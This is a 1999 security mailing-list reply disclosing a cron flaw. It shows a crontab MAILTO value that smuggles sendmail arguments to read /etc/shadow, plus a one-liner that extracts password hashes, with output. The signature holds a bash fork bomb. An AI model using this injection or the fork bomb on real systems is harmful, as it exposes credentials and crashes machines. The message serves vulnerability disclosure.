Buffer overflow in cron daemon
c47a38339b8219c04d11939b621aa43a7c620bce85378f1edc8faf700f19d7a0
Subject: Re: [RHSA-1999:030-01] Buffer overflow in cron daemon
To: BUGTRAQ@SECURITYFOCUS.COM
On Wed, 25 Aug 1999, Bill Nottingham wrote:
> To the best of our knowledge, no known exploits exist at this time.
>
> Also, it was possible to use specially formatted 'MAILTO' environment
> variables to send commands to sendmail.
Oh, something from scratch:
[lcamtuf@onehost lcamtuf]$ crontab -l
MAILTO='-bi -O AliasFile=/etc/shadow'
* * * * * nonexistent
[lcamtuf@onehost lcamtuf]$ sleep 60
[lcamtuf@onehost lcamtuf]$ strings -n 2 /etc/shadow.db|awk -F: '$2==""{print " - " $1 }$2!=""{printf $1}'|grep -v '*'
I15hybS.C.S1. - lcamtuf
hA/p45.MNqAtO - root
YoYwL/aBGnfAsRQ - testy
_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [cellular phone: (0) 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]